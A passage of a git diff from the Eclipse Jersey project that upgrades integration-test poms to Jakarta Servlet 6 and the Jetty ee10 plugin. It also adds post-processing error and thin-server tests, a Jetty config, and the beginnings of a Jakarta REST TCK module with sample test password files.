@@ -40,7 +40,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -68,8 +67,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-tests/pom.xml b/tests/integration/servlet-tests/pom.xml
index f86f48a..30459a9 100644
--- a/tests/integration/servlet-tests/pom.xml
+++ b/tests/integration/servlet-tests/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-tests</artifactId>
@@ -36,7 +36,7 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+            <version>${servlet6.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -48,6 +48,7 @@
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
             <artifactId>jersey-test-framework-provider-external</artifactId>
+            <scope>test</scope>
         </dependency>
     </dependencies>
 
@@ -62,8 +63,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-tests/src/main/java/org/glassfish/jersey/tests/integration/servlettests/PostProcessingErrorFilter.java b/tests/integration/servlet-tests/src/main/java/org/glassfish/jersey/tests/integration/servlettests/PostProcessingErrorFilter.java
new file mode 100644
index 0000000..856e2ef
--- /dev/null
+++ b/tests/integration/servlet-tests/src/main/java/org/glassfish/jersey/tests/integration/servlettests/PostProcessingErrorFilter.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.integration.servlettests;
+
+import jakarta.servlet.Filter;
+import jakarta.servlet.FilterChain;
+import jakarta.servlet.FilterConfig;
+import jakarta.servlet.ServletException;
+import jakarta.servlet.ServletRequest;
+import jakarta.servlet.ServletResponse;
+
+import java.io.IOException;
+
+import static org.glassfish.jersey.tests.integration.servlettests.PostProcessingErrorResource.ERROR_MESSAGE;
+
+public class PostProcessingErrorFilter implements Filter {
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+        Filter.super.init(filterConfig);
+    }
+
+    @Override
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
+            throws IOException {
+
+        try {
+            chain.doFilter(request, response);
+        } catch (ServletException ex) {
+            //post-processing attempt
+            final Throwable orig = ex.getRootCause();
+            if (orig.getMessage().equalsIgnoreCase(ERROR_MESSAGE)) {
+                response.getWriter().print(ERROR_MESSAGE);
+                response.getWriter().flush();
+            }
+        }
+    }
+
+    @Override
+    public void destroy() {
+        Filter.super.destroy();
+    }
+}
diff --git a/tests/integration/servlet-tests/src/main/java/org/glassfish/jersey/tests/integration/servlettests/PostProcessingErrorResource.java b/tests/integration/servlet-tests/src/main/java/org/glassfish/jersey/tests/integration/servlettests/PostProcessingErrorResource.java
new file mode 100644
index 0000000..b9d3451
--- /dev/null
+++ b/tests/integration/servlet-tests/src/main/java/org/glassfish/jersey/tests/integration/servlettests/PostProcessingErrorResource.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.integration.servlettests;
+
+import jakarta.servlet.http.HttpServlet;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Response;
+
+@Path("postprocessing")
+public class PostProcessingErrorResource extends HttpServlet {
+
+    static final String ERROR_MESSAGE = "Must be post processed";
+    @GET
+    public Response getException() {
+        throw new ProcessingException(ERROR_MESSAGE);
+    }
+
+}
diff --git a/tests/integration/servlet-tests/src/main/webapp/WEB-INF/web.xml b/tests/integration/servlet-tests/src/main/webapp/WEB-INF/web.xml
index 5d9d99e..813b221 100644
--- a/tests/integration/servlet-tests/src/main/webapp/WEB-INF/web.xml
+++ b/tests/integration/servlet-tests/src/main/webapp/WEB-INF/web.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -157,4 +157,31 @@
         <filter-name>custom404</filter-name>
         <url-pattern>/custom404/*</url-pattern>
     </filter-mapping>
+
+    <!-- post process errors (40*, 50*) -->
+    <filter>
+        <filter-name>PostProcessFilter</filter-name>
+        <filter-class>org.glassfish.jersey.tests.integration.servlettests.PostProcessingErrorFilter</filter-class>
+    </filter>
+    <servlet>
+        <servlet-name>PostProcessServlet</servlet-name>
+        <servlet-class>org.glassfish.jersey.servlet.ServletContainer</servlet-class>
+        <init-param>
+            <param-name>jersey.config.server.provider.classnames</param-name>
+            <param-value>org.glassfish.jersey.tests.integration.servlettests.PostProcessingErrorResource</param-value>
+        </init-param>
+        <init-param>
+            <param-name>jersey.config.server.response.setStatusOverSendError</param-name>
+            <param-value>true</param-value>
+        </init-param>
+        <load-on-startup>1</load-on-startup>
+    </servlet>
+    <servlet-mapping>
+        <servlet-name>PostProcessServlet</servlet-name>
+        <url-pattern>/postProcess/*</url-pattern>
+    </servlet-mapping>
+    <filter-mapping>
+        <filter-name>PostProcessFilter</filter-name>
+        <url-pattern>/postProcess/*</url-pattern>
+    </filter-mapping>
 </web-app>
diff --git a/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/PostProcesingITCase.java b/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/PostProcesingITCase.java
new file mode 100644
index 0000000..dbab315
--- /dev/null
+++ b/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/PostProcesingITCase.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.integration.servlettests;
+
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.external.ExternalTestContainerFactory;
+import org.glassfish.jersey.test.spi.TestContainerException;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.junit.jupiter.api.Test;
+
+import java.util.Locale;
+
+import static org.glassfish.jersey.tests.integration.servlettests.PostProcessingErrorResource.ERROR_MESSAGE;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class PostProcesingITCase extends JerseyTest {
+
+    @Override
+    protected Application configure() {
+        // dummy resource config
+        return new ResourceConfig();
+    }
+
+    @Override
+    protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
+        return new ExternalTestContainerFactory();
+    }
+
+    @Test
+    public void testPostProcessingLocale() {
+        final Response response = target()
+                .path("postProcess/postprocessing")
+                .request().get();
+        assertEquals(ERROR_MESSAGE, response.readEntity(String.class));
+    }
+
+}
diff --git a/tests/integration/sonar-test/pom.xml b/tests/integration/sonar-test/pom.xml
index fc6a804..a60d566 100644
--- a/tests/integration/sonar-test/pom.xml
+++ b/tests/integration/sonar-test/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>sonar-test</artifactId>
@@ -58,8 +58,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/spring6/pom.xml b/tests/integration/spring6/pom.xml
index 13a7804..f3848be 100644
--- a/tests/integration/spring6/pom.xml
+++ b/tests/integration/spring6/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,7 +25,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>spring6</artifactId>
@@ -50,7 +50,7 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+            <version>${servlet6.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -133,9 +133,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
-                <version>11.0.14</version>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <configuration>
                     <webApp>
                         <contextPath>/</contextPath>
diff --git a/tests/integration/thin-server/pom.xml b/tests/integration/thin-server/pom.xml
new file mode 100644
index 0000000..f6a74e5
--- /dev/null
+++ b/tests/integration/thin-server/pom.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <parent>
+        <artifactId>project</artifactId>
+        <groupId>org.glassfish.jersey.tests.integration</groupId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+
+    <artifactId>thin-server</artifactId>
+    <name>jersey-thin-server</name>
+    <description>
+        Run server without HTTP stack in tests.
+    </description>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-common</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-server</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-client</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework</groupId>
+            <artifactId>jersey-test-framework-util</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter-api</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.hamcrest</groupId>
+            <artifactId>hamcrest</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+</project>
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/tests/integration/thin-server/src/main/java/org.glassfish.jersey.integration.thinserver/ThinServerResource.java
similarity index 65%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to tests/integration/thin-server/src/main/java/org.glassfish.jersey.integration.thinserver/ThinServerResource.java
index dd25372..9cb3cb7 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/tests/integration/thin-server/src/main/java/org.glassfish.jersey.integration.thinserver/ThinServerResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,16 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.jsr166;
+package org.glassfish.jersey.integration.thinserver;
 
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+
+@Path("/")
+public class ThinServerResource {
+    @GET
+    @Path("someget")
+    public String get() {
+        return ThinServerResource.class.getName();
+    }
 }
diff --git a/tests/integration/thin-server/src/test/java/org/glassfish/jersey/integration/thinserver/ThinServerTest.java b/tests/integration/thin-server/src/test/java/org/glassfish/jersey/integration/thinserver/ThinServerTest.java
new file mode 100644
index 0000000..d3b9916
--- /dev/null
+++ b/tests/integration/thin-server/src/test/java/org/glassfish/jersey/integration/thinserver/ThinServerTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.integration.thinserver;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.message.internal.OutboundJaxrsResponse;
+import org.glassfish.jersey.message.internal.OutboundMessageContext;
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.util.server.ContainerRequestBuilder;
+import org.junit.jupiter.api.Test;
+
+import java.net.URI;
+import java.util.concurrent.ExecutionException;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ThinServerTest {
+    @Test
+    public void testGet() throws ExecutionException, InterruptedException {
+        ContainerRequest request =
+                ContainerRequestBuilder.from(URI.create("/someget"), HttpMethod.GET, new ClientConfig()).build();
+
+        ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ThinServerResource.class));
+        ContainerResponse containerResponse = applicationHandler.apply(request).get();
+        OutboundMessageContext outboundMessageContext = containerResponse.getWrappedMessageContext();
+        Response response = new OutboundJaxrsResponse(containerResponse.getStatusInfo(), outboundMessageContext);
+        assertEquals(ThinServerResource.class.getName(), response.getEntity());
+    }
+}
diff --git a/tests/integration/tracing-support/pom.xml b/tests/integration/tracing-support/pom.xml
index 9d4bcd9..8df78b9 100644
--- a/tests/integration/tracing-support/pom.xml
+++ b/tests/integration/tracing-support/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>tracing-support</artifactId>
@@ -78,15 +78,16 @@
                 </configuration>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
-                <version>${jetty.version}</version>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <configuration>
-                    <connectors>
-                        <connector>
-                            <responseHeaderSize>16192</responseHeaderSize>
-                        </connector>
-                    </connectors>
+                    <httpConnector combine.self="override"/>
+                    <jettyXmls>
+                        <jettyXml>${basedir}/src/test/resources/jetty.xml</jettyXml>
+                    </jettyXmls>
+                    <systemProperties>
+                        <RESPONSE_HEADER_SIZE>16192</RESPONSE_HEADER_SIZE>
+                    </systemProperties>
                     <!-- server side config does not fork with jetty:run goal - it uses same jvm
                          use maven '-D' option instead:
                              mvn _goal_ -Djava.util.logging.config.file=target/test-classes/logging.properties
diff --git a/tests/integration/tracing-support/src/test/resources/jetty.xml b/tests/integration/tracing-support/src/test/resources/jetty.xml
new file mode 100644
index 0000000..dc8582c
--- /dev/null
+++ b/tests/integration/tracing-support/src/test/resources/jetty.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0"?>
+<!--
+
+    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
+
+<Configure id="Server" class="org.eclipse.jetty.server.Server">
+    <New id="HttpConfig" class="org.eclipse.jetty.server.HttpConfiguration">
+        <Set name="responseHeaderSize"><SystemProperty name="RESPONSE_HEADER_SIZE"/></Set>
+    </New>
+
+    <Call name="addConnector">
+        <Arg>
+            <New class="org.eclipse.jetty.server.ServerConnector">
+                <Arg name="server"><Ref refid="Server" /></Arg>
+                <Arg name="factories">
+                    <Array type="org.eclipse.jetty.server.ConnectionFactory">
+                        <Item>
+                            <New class="org.eclipse.jetty.server.HttpConnectionFactory">
+                                <Arg name="config"><Ref refid="HttpConfig" /></Arg>
+                            </New>
+                        </Item>
+                    </Array>
+                </Arg>
+                <Set name="port"><SystemProperty name="PORT"/></Set>
+                <Set name="idleTimeout"><SystemProperty name="IDLE_TIMEOUT"/></Set>
+            </New>
+        </Arg>
+    </Call>
+</Configure>
\ No newline at end of file
diff --git a/tests/jersey-tck/README.md b/tests/jersey-tck/README.md
new file mode 100644
index 0000000..2457e01
--- /dev/null
+++ b/tests/jersey-tck/README.md
@@ -0,0 +1,15 @@
+# Jakarta REST TCK
+
+The **Jakarta REST TCK** is a standalone kit for testing compliance of an implementation with the Jakarta REST specification.
+
+
+## Performing Test
+
+While the test kit *is not dependent* of Maven, the most easy way to perform the tests is to create a copy of the sample Maven project found in the `jersey-tck` folder and adjust it to the actual needs of the implementation to be actually tested:
+* Replace the dependency to Jersey by a dependency to the implementation to be actually tested.
+* Execute `mvn verify`.
+* Find the test result as part of Maven's output on the console or refer to the surefire reports.
+
+**Note:** Certainly the same can be performed using *other* build tools, like Gradle, or even by running a standalone Jupiter API compatible test runner (e. g. JUnit 5 Console Runner), as long as the Jakarta REST TCK JAR file and the implementation to test are both found on the classpath.
+
+**Hint:** The test project can safely get stored as part of the implementation, so it can be easily executed as part of the QA process.
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/tests/jersey-tck/j2ee.pass
similarity index 75%
copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
copy to tests/jersey-tck/j2ee.pass
index 2886c72..7cd0e34 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/tests/jersey-tck/j2ee.pass
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -13,6 +13,4 @@
 #
 # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
 #
-
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+AS_ADMIN_USERPASSWORD=j2ee
\ No newline at end of file
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/tests/jersey-tck/javajoe.pass
similarity index 75%
copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
copy to tests/jersey-tck/javajoe.pass
index 2886c72..f06be72 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/tests/jersey-tck/javajoe.pass
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -13,6 +13,4 @@
 #
 # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
 #
-
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+AS_ADMIN_USERPASSWORD=javajoe
\ No newline at end of file
diff --git a/tests/jersey-tck/pom.xml b/tests/jersey-tck/pom.xml
new file mode 100644
index 0000000..0cd9ffd
--- /dev/null
+++ b/tests/jersey-tck/pom.xml
@@ -0,0 +1,545 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!--
+
+    Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <groupId>org.glassfish.jersey.core</groupId>
+    <artifactId>jersey-tck</artifactId>
+    <version>3.1.0</version>
+    <packaging>jar</packaging>
+
+    <name>Jakarta RESTful WS Compliance for Jersey</name>
+    <description>This test verifies the compliance of Eclipse Jersey with Jakarta REST</description>
+
+    <properties>
+        <maven.compiler.source>11</maven.compiler.source>
+        <maven.compiler.target>11</maven.compiler.target>
+        <jersey.version>3.1.2</jersey.version> <!-- the public version that pass the tck -->
+        <glassfish.container.version>7.0.4</glassfish.container.version>
+        <glassfish.home>${project.build.directory}/glassfish7</glassfish.home>
+        <jakarta.platform.version>10.0.0</jakarta.platform.version>
+        <junit.jupiter.version>5.7.2</junit.jupiter.version>
+        <jakarta.rest.version>3.1.0</jakarta.rest.version>
+        <tck.artifactId>jakarta-restful-ws-tck</tck.artifactId>
+        <tck.version>3.1.3</tck.version>
+    </properties>
+
+    <dependencyManagement>
+        <dependencies>
+            <dependency>
+                <groupId>org.junit</groupId>
+                <artifactId>junit-bom</artifactId>
+                <version>${junit.jupiter.version}</version>
+                <type>pom</type>
+                <scope>import</scope>
+            </dependency>
+            <dependency>
+                <groupId>org.glassfish.jersey</groupId>
+                <artifactId>jersey-bom</artifactId>
+                <version>${jersey.version}</version>
+                <type>pom</type>
+                <scope>import</scope>
+            </dependency>
+        </dependencies>
+    </dependencyManagement>
+
+    <repositories>
+        <repository>
+            <id>jakarta-snapshots</id>
+            <url>https://jakarta.oss.sonatype.org/content/repositories/staging/</url>
+        </repository>
+    </repositories>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter</artifactId>
+            <version>${junit.jupiter.version}</version>
+        </dependency>
+        
+        <dependency>
+            <groupId>org.glassfish.hk2</groupId>
+            <artifactId>hk2-locator</artifactId>
+            <version>3.0.0</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-impl</artifactId>
+            <version>3.0.0</version>
+            <scope>runtime</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.jboss.arquillian.container</groupId>
+            <artifactId>arquillian-glassfish-managed-6</artifactId>
+            <version>1.0.0.Alpha1</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.ws.rs</groupId>
+            <artifactId>${tck.artifactId}</artifactId>
+            <version>${tck.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.ws.rs</groupId>
+            <artifactId>jakarta.ws.rs-api</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.hamcrest</groupId>
+            <artifactId>hamcrest</artifactId>
+            <version>2.2</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.main.common</groupId>
+            <artifactId>simple-glassfish-api</artifactId>
+            <version>${glassfish.container.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.jboss.arquillian.junit5</groupId>
+            <artifactId>arquillian-junit5-container</artifactId>
+            <version>1.7.0.Alpha10</version>
+        </dependency>
+
+        <dependency>
+            <groupId>jakarta.platform</groupId>
+            <artifactId>jakarta.jakartaee-api</artifactId>
+            <version>${jakarta.platform.version}</version>
+            <scope>provided</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>commons-httpclient</groupId>
+            <artifactId>commons-httpclient</artifactId>
+            <version>3.1</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-server</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
